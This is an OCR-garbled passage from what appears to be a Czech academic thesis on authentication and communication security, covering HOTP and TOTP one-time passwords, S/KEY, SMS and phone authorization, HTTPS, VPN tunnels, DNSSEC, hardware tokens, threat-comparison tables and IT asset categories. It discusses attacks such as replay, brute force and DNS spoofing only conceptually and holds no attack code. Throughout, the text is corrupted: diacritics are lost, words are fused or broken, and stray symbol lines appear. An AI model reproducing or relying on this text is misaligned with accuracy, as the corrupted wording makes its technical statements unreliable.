Vtomto pipad se jedna skute o jednorazové heslo, vygenerované na adost a
pou itelné nejvySe jednou. Zkratka HOTP znamena HBABased One Time Password,
vyu ivajici algoritmu HMAC pro podpis dat (RFC4226Algoritmus je detailn popséan
v RFC4226 (RFC4226), v nasledujicim odstavci jesgogprincip jeho fungovani.

Kada ze stran komunikace (token a ayici server) musi znat dv
informace: tajemstvi a pdadlo. Tajemstvi (angkecret nebo takeeed) je obecnseskupeni
nadhodn vygenerovanych bajt sdilené tajemstvi mezi serverem a klientem. Zdedno ze
slabych mist systému: tuto informaci si musi meatboal strany rjak bezpen p edat.
Nicmén p edani funguje jednorazoyvneni nutné pro bny provoz. V pipad hardwarovych
token byva tajemstvi pevnnastaveno a je soéisti tokenu ji od vyroby. Tento kdd je pak
spojen s kédem v autentizdm systému, kam je nutné hoed pou iti zaveést, zpravidla na
z&klad sériového isla tokenu (ke ka dému sériovémislu odpovida jedno tajemstvi - ta
byvaji dodavana na zvlastnim médiu pro import deéemtizaniho systému). V ppad
softwarovych token je obvykle nutné jej zadat ip inicializaci. Druhym Kli ovym
parametrem jpo itadlo (counter) ji vygenerovanych hesel.

Vypo et jednorazového hesla pak probiha timspbem, e po stisku tldtka token
pou ije aktualni hodnotu pdtadla a zaSifruje ji pomoci HMAC-SHAL, ipem pou ije
tajemstvi jako kli. Vysledkem je 160-bitova hodnota, ktera by sansalo byla pou itelna
jako jednorazové heslo. Pou it celou 160-bitovoQ-{2znakovou) hodnotu vysledné funkce
by bylo zbyten naroné. Proto RFC4226 definuje postup, kterym se zehl@@é hodnoty
pou ije n kolik (obvykle 6-8) desitkovychislic. To sice snii odolnost algoritmu (a
vy aduje, aby na stranserveru byla implementovanajaka funkce, kterd omezi velké
mno stvi po adavk ), ale uini cely systém pou itelnym.

%

Pro uspsnou autentizaci je nutné, aby lm po itadlo vygenerovanych hesel na obou
stranach stejnou hodnotu. Ale ra snadno dojit k tomu, e token vygeneruje vicesédlene
kolik se jich dostane k serveru (stgednotlivé nebo opakované stisknuti itka na tokenu).

V praxi se postupuje tak, e pokud heslo nesouhlpgidpoklada server, e mohlo dojit
k naruSeni synchronizace a zkusi vygenerovkblik nasledujicich hesel. Pokud se shoduiji,
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prohlasi heslo za spravné a posune sitpdlo o pat ny po et krok dop edu. Vhodny poet
hesel je zale itosti konfigurace a kompromisem megiatelskou piv tivosti a bezpenosti.

Pokud toto sele, token Ize za itych okolnosti resynchronizovat — pokoaat
s generovanim hesel tak dlouho, dokud nedojde &d sh poté si vy adat rkolik dalSich
hesel jako potvrzeni. Nemusi to byt ale mo né valgldle to sni uje bezpeost.

Pro kritické operace (jako jegba zmna hesla, zruSeni tu atd.) I1ze zvySit bezpaost
tim, e je po adovano zadani ne jednoho, al&alika po sob nasledujicich hesel. Pokud by
se utonikovi podailo t ebabrute-forcemetodou odhalit jedno heslo, prapgddobnost, e
odhali dv po sob nasleduijici, je vyraznni §i.

I & #$

Jednorazova hesla na principu HOTP Ize vyu it k@&jemnému oveni, tedy lze
potvrdit u ivateli, e komunikuje skuten se spravnhym serverem. Stakdy po UspSném
p ihldSeni server vygeneruje dalsi heslo vapd a zobrazi jej u ivateli. Ten me ud lat toté
a hesla se museji shodovat.

'&

V p ipad hardwarového tokenu tento problém neni nutné rtemné) eSit. V pipad
token softwarov emulovanych tokenm e nastat problém pp einstalaci daného zaeni.
Aby pihlaseni fungovalo, musi si token pamatovat stavitpdla, co by znamenalo po
ka dém pou iti zalohovat, nestazalohovat teba jednou denn

Pouiti HOTP tokenu musi byt exkluzivni. Tenty tekR neni moné pouit pro
p ihldSeni do nkolika r znych systém, které spolu nejsou propojené. VSechny systéniy tot
museji sdilet spoley ita vygenerovanych hesel. Plati to i obracenelze mit nkolik
token k jednomu systému, pokud s tim systém nebuittegpo itat ve svém navrhu, tokeny
(by by m ly stejné tajemstvi, nejsou vzajemmahraditelné).

1

Vzhledem k tomu, e sekvence hesel jegem dana, neni nutné, aby se heslatapo
v okam iku poteby. Hesla je mo né pdpoitat dopedu a tokenem se ne stat obyejny
kus papiru, na ktery si u ivatel heslaggem vytiskne. Tento zpob Ize pou it jako rezervu
pro pipad ztraty tokenu, na druhou stranu se jedna méstbezpenostni riziko jako
poznamenavani hesel na papir. Lze si vSadgiavit nagklad pipad, kdy z njakych
d vod chce firma dat dasn p istup do vnitrofiremni VPN chrané jednorazovymi hesly,
napiklad dodavateli informaniho systému za @élem dohledani chyby. Doba poskytnuti
m e byt snadno omezena na ité intervaly nebo celkovou dobu platnosti.

23,45
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Varianta jednorazovych hesel S/IKEY bez nutnostiifiouita e pou iva nasledujiciho
principu: (RFC1760)

Na papir je vytistna posloupnost H(W), H(H(W)), ....JdV) v opaném poadi, kde H
je hashovaci funkce, W je podni tajemstvi, které je po vytisti zni eno. U ivatel pak
zadava hesla postupnNa serveru je ulo eno pouze posledni heslo ziskaret zce hesel.
P i autentizaci u ivatel poskytne heslo™}W) a server ov i jeho platnost proti ulo enému
heslu H(W) a pou ije jako referemi ziskané heslo H(W).

Vyhodou této autentizai metody je, e p utoku na server a ziskani posledniho hesla
neni mo né odhalit nové heslo. Nevyhodou je omezpayet pou itelnych hesel a zgob
ulo eni hesel na klientské stran

Druhy zp sob je zavisly nikoliv na pau vygenerovanych hesel, ale na aktualnéavse.
Zkratka TOTP znamena Time-based One Time Password.

Princip generovani hesla je stale stejny jakoipgdl HOTP, jenom se misto pibadla
pou ije aktualni as. RFC6238 (RFC6238) edpoklada, e se jako pohyblivy faktor pou ije
po et celych ticetisekundovych interval které ubhly od 1. 1. 1970 00:00:00 UTC, koliv
implementaceasto pou ivaji i Sedesatisekundové intervaly.

TOTP také poitd s pouitim novjSich hashovacich algoritm z rodiny SHA-

2. Nicmén pro Uely generovani jednorazovych hesel je z praktickgichod dostaten
dobré i SHA-1 a dokonce iji zastaraly MD5, protovSechny zndmé atoky, vedené na
hashovaci algoritmy, smuji k nalezeni koliznich dokumentnikoliv k nalezeni pvodniho
textu ped provedenim hashe. Nalezeni kolizniho dokumergdspavuje problém pro situaci,
kdy hash slou i k ov eni integrity nebo k vzdjemnému propojeni dvou do&nt (jako je
tomu v pipad elektronického podpisu), ale nikoliv vipad HMAC. (Bellare, 2006)

Hlavni vyhody a nevyhody tvbopa né vlastnosti oproti HOTP popisovaném vySe v
textu. TOTP token nelze pouit ke vzadjemnému ewi ani k vygenerovani kolika
nasledujicich hesel pro zvySeni bezammsti. Rovn neni problém se zalohou a obnovenim
softwarového tokenu, proto e jediné, co je pbia znét, je znat tajemstvi.

* & %

V pipad, e se rozejdou hodiny na strarserveru a na strarklienta, znamena to
samozejm problém. Serverové implementace obvykle postuialji e si vygeneruji heslo
pro pedchozi a nasledujicasovy interval a ten zkusi pou it.

V p ipad softwarovych tokenje problém snadna@sitelny — sta nastavit spravnyas

(Ize pedpokladat, e server vtakové aplikaci bude mds synchronizovany es NTP
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s d v ryhodnym zdrojem). U hardwarového tokenu je vicenm@gjjednodussi token zahodit
a pouivat jiny. Server si nicménm e pi pihlaSeni zaznamenat obvyklé zkresleni a
p izp sobit se.

6

TOTP negeneruje jednorazova hesla, ale hesla semmoezdobou platnosti. Bude-li
uva ovan interval zmny 30 sekund a server bude akceptovat jedno hegledu a jedno
dozadu, heslo bude platné teoreticky 90 sekundtfipkg nejvyse 60.

Pokud nejsou mata dodatend opateni na stran serveru (ktery si nap bude
pamatovat hesla zadana v posledni dob opakované zadani odmitne), &
odposlouchavajici Gtmik jednordzové heslo zneu it ke druhémuihfaSeni, bude-li
dostaten rychly (replay-attack.

# ' T 8

V p ipad event-based OTP je nutné na straarveru gjmout dodatena opateni proti
atok m hrubou silou — po zadanitg¢iho mno stvi chybnych hesel ét zablokovat a nebo
lépe zpomalit odezvu (provést dsné zablokovani tu).

Time-based OTP ma& takovou obranu ze své podstagfawaou, protoe na
uskuten ni brute-force utoku m& utoik jenom 90 sekund (pintervalu 30 s a jednim
akceptovanym heslem na ka dou stranu). Je dostiavdpodobné, e by za takovou dobu

bylo mo né Uspsny brute-force utok provest.

1 %! 1

Mohou byt vyu ita na systémech bez infrastruktueyejnych kli
Mohou byt implementovana na zzenich bez rizika napadeni
Neni poteba instalace na klientskych fi@a ich

V tSinou nevy aduje zrmu rozhrani pro phlaseni

U ivatelské jméno a heslo=u ivatelské jméno a OTP
Jednoducha na pou ivani

Mohou byt vyu ivana i v pro jiné komunikai kanaly ne internet

4.4.5.Vyu iti vice nezavislych komunika nich kanal

P i operaci autorizace v kritickych aplikacich, jakapiklad internetové bankovnictvi,

schvalovaci systémy apod. je vhodné pou it prorgigaci dodateny nezavisly komunikani
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kanal. Pomoci tohoto kanalu je mo né poslat podkl&dautorizaci nezavislou cestou a
odhalit tak utokman-in-the-middlePokud by utonik podvrhl data nagklad k pevodnimu
p ikazu do banky, uivatel by dostal nezavislym kamal(tonik v (podvr eny) pikaz a
transakci by nepotvrdil.
9 2:2

Jako nejrychlejSi a nejspolehljgi komunikani kandl Ize vyu it slu eb sit GSM —
zprav SMS. (sendSMSnow.com) (SMS PASSCODE A/SyRajevyhodou jsou dodate
naklady na autorizaci aipadna nedostupnost signalu GMS u u ivatele.

Sou asti SMS je gmo jednorazovy autorizai kod ktery slou i pro potvrzeni prav
této jedné transakce a neni mo né ho opakoyau it.

Pi ztrat mobilniho telefonu musi uivatel bezprostin zajistit zablokovani
telefonniho isla, aby nedoslo ke zneu iti.

0 & #$

B hem telefonického oveni probiha autorizace operace obdofako u autorizace
kodem SMS, pouze informace petiné k autorizaci jsou @dany hlasovym automatem.
V ramci telefonického hovoru je také mo né v tonkimku provést potvrzeni operace. Pro

zajist ni bezpenosti opt plati stejna pravidla jako pro autorizaci SMS &dd
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4.5. Bezpe nost komunika nich kanal
4.5.1. Protokol HTTP

Protokol HTTP slou il pvodn k vyhledavani informaci na internetu. V sasnosti se
jedna o nejpou ivansi protokol na internetu.

Komunikace protokolu HTTP se sklada z dotazu a wdiio Relace mezi klientem a
serverem je tv@na v dy pouze dotazem a odpov na tento dotaz. Fakt, e protokol HTTP
neumo uje delSi dialog ne jeden dotaz a okam itou odpoyje omezujicim faktorem
protokolu HTTP. DalSim omezujicim faktorem je pdu architektury klient/server. Ta
neumo uje odesilat asynchronni udalosti ze serveru ld@ntServer m e odeslat zpravu
klientovi nejdive v okam iku, kdy klient odeSle jaky dotaz na server. Protokol HTTP
zavadi proxy, branu a tunel.

;%
Proxy je systém skladajici se ze dvasti:
1. Serverova ast — pijima po adavky klienta, jakoby je pimal cilovy server
2. Klientska ast — pevezme po adavky od serverovésti proxy, nava e TCP spojeni
s cilovym serverem a @da jménem klienta po adavky cilovému serveru Kagni
Proxy ma vlastni logiku. Rozumi aplikéimu protokolu (HTTP) a s fatym
po adavkem m e provést nkolik operaci:
M e p epsat po adavek nebo odpov
Odpov di m e ukladat do pamti cache
M e zjiS ovat, zdali je klient opravm provést takovy po adavek
M e provést antivirovou kontrolu
M e autentizovat u ivatele
M e poskytovat slu by vnitnim i vn jSim uivatel m, pi p istup z vnjSich adres
pak m e vy adovat autentizaci

<

Brana pracuje na obdobném principu jako proxy,sdien rozdilem, e mni aplika ni
protokol. Pijima napiklad po adavek v protokolu HTTP a mi jej na komunikaci
v protokolu FTP.

0
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Tunel nerozumi gnaSenym datn, Ize jim tedy dokonce enaSet aplikani data
zaSifrovana, eho vyu iva protokol SSL. Tunel navazuje obousma spojeni, ka dé spojeni

je tvo eno dvma komunikanimi kanaly, ka dy pro jeden sm

4.5.2. Protokol HTTPS

Pro zajiStni bezpeného komunikaniho kanalu je vhodné pou it, nagprotokol SSL,
ktery pomaha zabezpé protokol HTTP na jeho bezpe jSi verzi HTTPS, kterd umouje
p enaSend data Sifrovat.

Protokol HTTP (HyperText Transfer Protocol) je kamka ni protokol ureny
pro vym nu hypertextovych dokumente formatu HTML (HyperText Markup Language -

hypertextovy znaovaci jazyk), ktery slou i pro tvorbu internetovystranek.

Protokol SSL (Secure Sockets Layer) pochazi od yfilNetscape a specializuje
se na zabezpeni penosu dat mezi klientem a serverem, které nejsbezpeeny pomoci
protokolu TCP/IP. Vrstva protokolu SSL dodate eSi zabezpeni penaSenych dat,
je vlo ena mezi aplikani protokol a protokol TCP. K dispozici jsou tedgplika ni data,
aplika ni protokol, protokol SSL, protokol TCP, protokd B linkovy protokol (Ethernet).
( e elsky, 1999)

Protokol SSL provadi autentizaci serveraSinou na zékladcertifikdtu serveru a pak
m e provést autentizaci klienta také na zaklabrtifikatu klienta. K autentizaci nedochazi

p i komunikaci klienta s anonymnim serverem.

Autentizace se provadi t8inou pomoci asymetrické kryptografie, ktera jegovana

za relativn silnou stranku SSL.

Sou asti poate ni komunikace je vymna dat, ze které je odvozeno tzv. sdilené
tajemstvi. Sdilené tajemstvi je bloksel, ktery znaji jen @@stnici konkrétni komunikace,
a pro ostatni je utajen. Odvozuji se odchan symetrické Sifrovaci kle a tzv. tajemstvi

pro vypo et kontrolniho souu (MAC secret).

Protokol SSL umo uje Sifrovat penos dat mezi dwna Uastniky komunikace.
Pro Sifrovani se pou iva ji vySe zmina symetricka Sifra, jeji kli je odvozen od sdileného
tajemstvi.

P endSené fragmenty dat se dagpli o kontrolni souet, ktery zajiSuje integritu
p enaSenych dat. Proto e se kontrolni setunepoitd jen z fragmentu pnasSenych dat,
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ale fragment se pro vypet kontrolniho souu z et zi s tajemstvim pro vypet kontrolniho
sou tu, je velmi naroné upravit penaSené data bem penosu. Timto zpsobem je ponrn
spolehliv zajist na integrita penaSenych dat.

Protokol SSL nenahlii do aplikaich dat (je umist v ni Si vrstv ), proto nedokéa e

rozeznavat v aplikanich datech jednotlivé transakce.

Protokol SSL nepodepisuje elektronicky jednotlivéerraSené fragmenty nebo
transakce, neni mo né ho tedy pou it pro aplikakeeré vy aduji pou iti elektronického
podpisu (bankovni transakcegpos dat pro statni spravu, ...). Ma uplaintam, kde nevadi
omezena délka Sifrovaciho lkéi a neni nutné pou it elektronicky podpis uvemasenych
transakci. Pou iva se k zabezpai protokolu HTTP (HyperText Transfer Protocolymxi
vlo ené vrstvy SSL a poté se zabezpea verze protokolu ozngje jako HTTPS (HyperText

Transfer Protocol Secure).(McClure, a dalSi, 2007)

4.5.3.VPN

K tunelovani je potba tunel — kanal pro data mezi tha poita i v siti. Tento kanal
m e byt tvoen teba i TCP spojenim, ale v praxi se pouiva spiSecigfizovanych
protokol na drovni IP (ipsec, gre). (Kara, 2003)

Tunelovani se wSinou vyu iva pro spojeni vzdalenych siti do jedkiera je zdanliv

homogenni. Viz Obrazek 7.

—

s

VPN server
_ ™

.. Mirtuaini privatni sit e e
'\-..____‘_ =2
——

oo
-

Obrazek 7 Schéma VPN (SecureNet)
0 =>4

Jednodussi je vytvani tunel pomoci protokolu GRE. GRE znamena General Routing

Encapsulation protocol (vSeobecny zapouxdci protokol).
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GRE je jednoduchy a pomn rozSieny standard, GRE tunely se daji vybtanejen
mezi systémy typu Linux, ale i s Cisco routery netsystémech Microsoft Windows.

+ 2

IPSec (IP security) je rozéhi protokolu IP. Vytvd logické kanaly (Security
Associations), které jsou v dy jednosmé. (RFC2401) (RFC2411)

4.5.4. Technologie DNSSEC

DNSSEC je rozséni systému doménovych jmen (DNS), které zvySuije Jeezpenost.
DNSSEC poskytuje u ivatem jistotu, e informace, které z DNS ziskal, bylpgkytnuty
spravnym zdrojem, jsou Uplné a jejich integritaylelp i p enosu naruSena. DNSSEC zajisti
d v ryhodnost Udaj, ziskanych z DNS. (NIC.CZ)

P esto e vtSina internetovych slueb sama o sob jaké formy zabezpeni ma a
u ivatelé jsou zvykli je pou ivat, existuje jednal@i hrozba, kterou si malokdo wiomuje, a
kterou dok& e odvratit pouze DNSSEC.

VSechny internetové slu by (e-mail, webové strankystant messaging, internetové
volani,...) vyuivaji systtm doménovych jmen (DNS -orBain Name System). Jeho
zakladnim principem je to, e umouje v adresach thto slu eb pou ivat jména, ktera jsou
srozumitelnd a snadno zapamatovatelna e ka, namisto isel, ktera jsou srozumitelnd a
potebn& pro pdta e. V praxi to pak funguje tak, e kdykoliv u ivatgbou ije jmennou
adresu njaké internetové slu by (webové stranky, emailoamiresu atd.), je nutné jigdo it
pomoci DNS na adrestiselnou a na tutoiselnou adresu se pak i obrati, aby se spojil
se slu bou, kterou u ivatel chce pou it.

V pipad, e n kdo doka e podvrhnoutiselnou adresu, u ivatel se, ani bude cokoliv
tusit, dostane na uplniné misto, a vbec se nespoji se slu bou, kterowekaval, viz Obrazek
8.
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Obréazek 8 Utok na DNS (NIC.CZ)
U ivatel napiSe do svého prohli e adresu, a za normalnich okolnosti vSe probiha

zelen oznaenou cestou — pouije server svého poskytovatelpofeni (ISP), a ten z
globalniho DNS systému zisk&elnou adresu, se kterou se u ivatel spoji a p@udliu bu,
kterou chtl. V pipad, e je vSak iselna adresa podvrena, pak vSe probiléven
oznaenou cestou, a u ivatel je spojen s jinou slu bani cokoli tusi.

V pipad, e napadenou slu bou je elektronicky obchod, kanvatelé vkladaji isla
platebnich karet, nebo je to slu ba sledujici poh¥orz akcii pou ivanou pro investni
rozhodovani, nebo jen odesilani e-mailu dedtymi informacemi, neni adouci, aby
informace, které jsou pnaseny, byly z ned ryhodného (podvr eného) zdroje, a naopak aby
odesilané Udaje nepadly do rukokemu nepovolanému. A pravo se pomoci zneu iti DNS
m e stat, pokud neni implementovano zabezm pomoci DNSSEC.

/ ?2

Principem DNS je mklad jmennych internetovych adres, jako fkdpd www.nic.cz
nebo www.czu.cz, na adresyselné, kterym pdta e rozumji a jejich pomoci doka ou
zajistit zobrazovani webovych stranek, odesilamad-, telefonovani po internetu a dalSi
b né internetové slu by. DNSSEC zvySuje bezpest pi pou ivani DNS tim, e zabrauje
podvr eni faleSnych, poznm nych i nedplnych udaj o doménovych jménech.

Sluba DNS, neni-li zabezpena pomoci DNSSEC, poskytuje potencionalnimu
ato nikovi n kolik mist, na kterych je mo né komunikaci naruditzfalSovat udaje. Tim, e
ato nik zm ni tdaje o doménovych jménech, ovlivni fungovansidga internetovych slu eb,
které m e timto zasahem zneu it. Utaik pak m e nap iklad:

ziskavat cizi e-maily
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pomoci faleSnych webovych stranek ziskavat heslastupové kédy i Udaje o
platebnich kartach apod.

obchéazet antispamovou ochranu v DNS a spam posilat

podvrhnout zpravy a informace na webovych strankach

p esmrovavat i odposlouchavat telefonni hovory, vedenéspinternet.

U ivatel p itom nema ve Sin pipad Sanci poznat, e se @ n co neobvyklého.
Diky zavedeni DNSSEC ziska jeho u ivatel jistote, informace, které z DNS ziskal, byly
poskytnuty spravnym zdrojem, jsou Uplné a jejickegmita nebyla p p enosu narusena.
DNSSEC zajisti dv ryhodnost Udaj, ziskanych z DNS.

Obrazek 9 pedstavuje vypis doménovych informaci o konkrétnméa z registru
NIC.CZ. Zvypisu se 2jmé, e uvedend doména neni v smené dob (prosinec 2011)
zabezpeena pomoci technologie DNSSEC a mohla by byt pdenc zneu ita
k phishingovému utoku.

Obrazek 9 Informace o domén CZU.CZ (zdroj: autor)

DNSSEC zavadi DNS asymetrickou kryptografii — tgmbu ivani jednoho klie na
zasifrovani a jiného kle na deSifrovani obsahu. Obdobny princip je zakladeamjsiho
Sifrovani zprav pomoci PGH podepisovani e-mail elektronickym podpisem. V fpad
DNSSEC si dritel domény vygeneruje dvojici soukrdimo a veesjného klie. Svym
soukromym kliem pak elektronicky podepiSe technické udaje, kbes#é doméndo DNS
vklada. Pomoci vejného klie je pak mo né ovit pravost tohoto podpisu. Aby byl tento
kli dostupny vSem, publikuje jej dritel ke své doménnadazené autority, kterou je pro
vSechny domény .cz registr domén .cz. | na Uroegistru domén .cz jsou technicka data v
DNS podepsana a \agny kli k tomuto podpisu je op spravcem registru pdan nachzené
autorit . Vytvai se tak et z, ktery zajisti dv ryhodnost Udaj, pokud neni v adném svém

lanku porusen, a vSechny elektronické podpisy smijwiz Obrazek 10.
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Obrazek 10 Ochrana pomoci DNSSEC (NIC.CZ2)

DNSSEC je se stavajicim DNS zp kompatibilni a ob varianty funguji sowasn.
Pro b ného u ivatele se tedy okam ikem zavedeni DNSSE€m ni pravd podobn nic - a
to a do momentu, dokud se naiglusném DNS serveru neree DNSSEC pou ivat. To
m e byt v pipad expert pimo na uivatelov poitai, v pipad firem na firemnim
serveru av ppad b nych uivatel na serveru jejich poskytovatele internetovéhipgyeni.
Poskytovatelm slueb a obsahu pak DNSSEC nabizi mo nost zvyszpenost a
d v ryhodnost svych slu eb. Pro zavedeni DNSSEC je éauetby byly zajiStny digitalni
podpisy jejich DNS udaj a pislusné Sifrovaci klie publikovany do registru domén .cz.
(NIC.CZ)

Dle statistik sdrueni NIC.CZ (NIC.CZ) je v soasnosti technologii DNSSEC
zabezpeeno vice jak 17% domén (viz. Tabulka 2)ggevSim zavedenim DNSSEC u jednoho
Z nejv tSich registrator domén v R spolenosti Active24. Toto ploSné zavedeni nastalo

v b eznu 2010, co vysuluje skokovy narst na Graf 1.
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Tabulka 2 Zabezpe eni technologii DNSSEC (NIC.CZ)
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Graf 1 Podil zabezpeenych domén na celkovém pau domén v zén .CZ (NIC.CZ2)

Pro fungovani DNSSEC je nutna také implementaceotazdjicich DNS server
(Peterka, 2011)

Pokud by tedy rkdo skuten napadl vzajemnou komunikaci mezi DNS servery,
napiklad pro poteby njakého phishingového nebo pharmingového uatoku, m@dmo
technologie DNSSEC je moné uatok odhalit a ochrgpied potencialnimi dsledky.
(McClure, a dalSi, 2007). Z pohledu koncového u@l@ by se to projevilo tak, e by bec
nedostal po adovanou odpov od toho DNS serveru, na ktery se jehoite obraci (a ktery
vystupuje v roli DNS resolveru). Po adovana strarikaré se odpov tyka, by se mu jevila
jako nedostupna (z godu toho, e jeho pdta neni schopen ziskat odpovidajici IP adresu).

Sdru eni NIC.CZ provozuje doménwww.rhybar.cz na které je mo né ovit fungovani

DNS revolveru. V ppad nezabezpeeného DNS serveru zobrazi stranka informaci oidhic

spojenych s nezabezmmych DNS resolverem, viz Obrazek 11.
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Obrazek 11 Test ochrany pomoci DNSSEC (zdroj: autdr

4.5.5. Dalsi komunika ni kanaly

P i autentizaci na dalku neni mo né omezit se pouaenternetovou komunikaci. Ji
samotné zasilani jednorazovych hesel nezavislym ukda@m nim kanalem vyu iva
komunikaci mimo siinternet. Z tohoto dvodu je nutné hodnotit z hlediska bezpesti i tyto
komunika ni kanaly viz Obrazek 12. Jsou jimigpa n : (Hoyer, 2009) (Baruch)

Mobilni telefon/pevna linka — komunikace probiha ba ivym operatorem nebo

hlasovym automatem, data jsou odesilana pdsictvim toénové volby nebo

p episem od operatora

Interaktivni televize — nové technologie iM&Si monost komunikace

s provozovatelem televizniho kanalu

Technologie WAP pro [stup z mobilnich telefon (zde je nutno uvést, e

s rozSienim chytrych mobilnich telefons operanimi systémy je tato technologie na
astupu)

Fax — technologie v soasnosti nahrazovana e-mailem
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4.6. Hardwarova podpora
4.6.1. te ky ipovych karet

Pro vyu ivani ipovych karet s ulo enym privatnim kiém je nutné vlastnit takée ku
p islusnych ipovych karet.(Monet+, a.s.)

V R zatim neni 2jma& implementace novych amskych prkaz , u kterych je
uvad na mo nost ipu na ktery by mlo byt mo né nahrat privatni klia jeho certifikat.

(Peterka, 2010) Aktualrk této problematice nejsou adné bli Si egn dostupné informace.
4.6.2. USB Kli

USB Kkli je tvoen aplikani logikou (Sifrovaci algoritmy), Glo iSim certifikdtu a
te ky, vSe v jediném z#&eni. (SafeNet Inc.) Princip fungovani je obdohako u te ky
ipovych karet a samotnychpovych karet — podpis dat zajife USB kli, soukromy kli

z USB kli e neni mo né exportovat. NejbezpejSi zaizeni jsou chrama autodestruki

funkci a pi pokusu o nasilnou manipulaci nebo napadeninikem dojde ke zneni ipu.
4.6.3. OTP tokeny

Hardwarové generatory jednorazovych hesel jsougédiova zaizeni.

eSeni pro jednordzovd hesla existuji desitky, majg@zka d4 vtSi spolenost,
pohybujici se v oblasti p&a ové bezpenosti, napiklad: (Valasek, 2011)

RSA SecurlD

Gemalto EasyOTP

PointSharp

Entrust IdentityGuard

SafeNet

eToken

Zyxel
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Obrazek 13 Hardwarovy generator OTP RSA SecurlD (R3)
V tSina tchto eSeni je ovSem cilena spiSe na velké zakazniky&inkomplexni (a
pati n draha) eSeni. Navic hardwarové generatory jsou pouze je@tmvé — pro ka dy

U et je nutné vlastnit zvlastni generator. V praxk paivatelé musi s sebou nosit velké
mno stvi t chto generator.

4.6.4. Mobilni telefony

S rozvojem chytrych mobilnich telefon je monost instalovat generatory
jednoréazovych hesel imo do mobilnich telefon kde je dkaz vlastnictvim aplikovan jako
vlastnictvi mobilniho telefonu s nainstalovanouilaati. Vyhodou tchto aplikaci je mo nost

vyu iti generatoru pro vice @ , nevyhodou je mo nost napadeni mobilniho telefspyware
obdobn jako na osobnim pdta i.
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4.7. Porovnani autentiza nich metod

4.7.1. Porovnani z hlediska ohro eni

Pro porovnani autentizaich metod z hlediska ohro eni byly na zaklgaedchozich

zjist ni posuzovéany tyto hrozby:

Replay-attack — mo nost opakovani Utoku podle schtérni provedeného phlaseni
Odposlech — monost a riziko odposlechnuti autentiith Gdaj pi
zadavani/enosu

Brute-force — utok hrubou silou

Slovnikovy atok — Gtok pomoci slovnikovych hesekdqla obsaena v narodnich

slovnicich, seznamu hesel apod.)

Pro posouzeni miry ohro eni byla zvolena nasleduwgcbalni stupnice:

Vysoké mira ohro eni — realna hrozba ohro eni bgzalo eni znaného usili
St edni mira ohro eni — existuje potencialni mo nosrmeni, které je vSak spiSe na
teoretické arovni

Nizk& mira ohro eni — zvolena hrozba témeni relevantni

Ve stupnici zamrn neni uvedena nulova mira ohro eni, nelb® neni mo né v praxi

dosahnout.
Mira ohro eni Hrozba
Replay-attack| Odposlech Brute-forge  Slovnikovy Ufok
Staticka hesla Vysoka Vysoka Vysoka Vysoka
E e Challenge/Responge St edni Stedni Vysoka Vysoké
'g % Certifikat Nizka Nizka Nizka Nizka
E: E [Jednorazova hesla Nizka &ni | Stedni Nizka
Biometricka Vysokéa Sedni Nizka Nizka

Tabulka 3 Porovnani autentizanich metod z hlediska ohro eni (zdroj: autor)
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4.7.2. Porovnani mo nosti implementace z hlediska zpsobu pou iti

Pro porovnani autentizaich metod z hlediska zpobu pouiti byly na zaklad

p edchozich zjiSini posuzovany tyto zgoby pou iti:

Na blizko — zadavani autentizach udaj p imo do systému
Na dalku internet — zadavani autentii@h (daj pro pihldSeni k vzdalenym
systémm
Telefonické — ov eni autentizace prosdnictvim telefonu (nagklad volani na
zakaznicke linky, telefonické bankovnictvi)
P istup z mobilniho telefonu — igtup ke vzdalenym systémm prostednictvim
mobilniho telefonu

Pro mo nost implementace byla zvolena nasledujgebalni stupnice:
Snadna — metoda je vhodna pro tentospp pou iti
Komplikovana — metodu nelze snadno pouit, je fidpd poteba instalace
dodatenych zaizeni

Nemo na — metodu je nemo né snadno implementovat

Zp sob pou iti
Na blizko Webova Telefonické| P istup
aplikace z mobilniho
telefonu
Staticka hesla Snadna Snadna Snadna Snadna
“E _| Challenge/Responge  Snadna Snadna Snadng Snadnd
'% % Certifikat Komplikovangd Komplikovand| Nemo na | Komplikovand
E & Jednorazova hesla Snadna Snadna Snadna Snadna
Biometricka Komplikovang Komplikovana| Nemo na Nemo na

Tabulka 4 Porovnani mo nosti implementace z hledisk zp sobu pou iti (zdroj: autor)
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4.8. Finan ni aspekty poita ové bezpenosti
4.8.1.Chran na aktiva

Mezi hmotna aktiva pat p edevsim technické prostlky informanich technologii —
po ita e, modemy, aktivni prvky pdta ovych siti, kabelové rozvody, tiskarny a ostatni
technicka zdzeni.

Z hlediska zabezpeni Ize hmotn& aktiva pova ovat za snadno nahriditgpi em
arove zabezpeeni je pimo Uumrna vynalo enym prosedk m. V praxi se me jednat o
replikovany (redundantni) systém, kterym Ize ippd vypadku nahradit poSkozeny systém —
nap iklad nahradni servery, sivé prvky, duplicitn vedenou kabela .

Zcizeni nebo poskozeni hmotného aktiva Ize snadnoaa odhalit monitorovacimi
systemy.

?

Pracovni postupy

Jedna se o pracovni postupy vyu ivané v organizacblasti IS/ICT. Ve wtSin

p ipad jsou duSevnim vlastnictvim firmy a jsouzp sobeny konkrétni organizaci.
Data

Data Ize ozndt za nejcennjSi aktivum firmy.

Ztrata dat m e ohrozit chod firmy, ale lze ji pdchazet dodr ovanim zalohovacich
plan a pipravou krizovych plan

Krade dat m e také ohrozit chod firmy, zvldStpokud se jednd o citlivd data
(platebni karty, osobni Udaje). Prvotnim problémerrade e poita ovych dat je fakt, e
samotna krade nemusi byt odhalena, neba rozdil od hmotnych aktiv podni data
Z stavaji beze zrmy v p vodnim umistni.

Neopravn na modifikace dat je (podobn jako krade dat) nebezpea z hlediska
d v ryhodnosti celého systému. Na rozdil od krade e tat modifikaci dat odhalit
pravidelnou kontrolou, ppadn zavedenim digitalniho podpisu. (Drucker, 1992)

Programové vybaveni

Programové vybaveni se ldna zakladni programové vybaveni(operani systémy,

prostedky pro provoz pdta ovych siti),aplika ni programové vybaveni(textové editory,

ERP systémy, Bl aplikac@) idici systémy( idi a kontroluji innost dalSich systém
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Slu by
Jedna se o pi@ta ové a komunikeni slu by — zajistni zdroj elektrické energie,

klimatizace, pipojeni k internetu.

Jednd se zejména o nehmotnd aktivaedstavuji informace, které jsou organizaci
vyu ivany, a funkni procesy a aktivity organizace, u kterych je go& njakym zp sobem
zajistit jejich bezpenost.

2

Mezi sekundarni aktiva sedi pedevsim hmotna aktiva, ktera Ize snadno nahradit, a
dopad jejich nedostupnosti |zeeplem stanovit.

/

Pro ka dé aktivum je potba vyjadit miru jeho dv rnosti, integrity a dostupnosti. Pro

izeni rizik jsou dle ita primarni aktiva s ohledem na ochranu a zajiSinformaci.

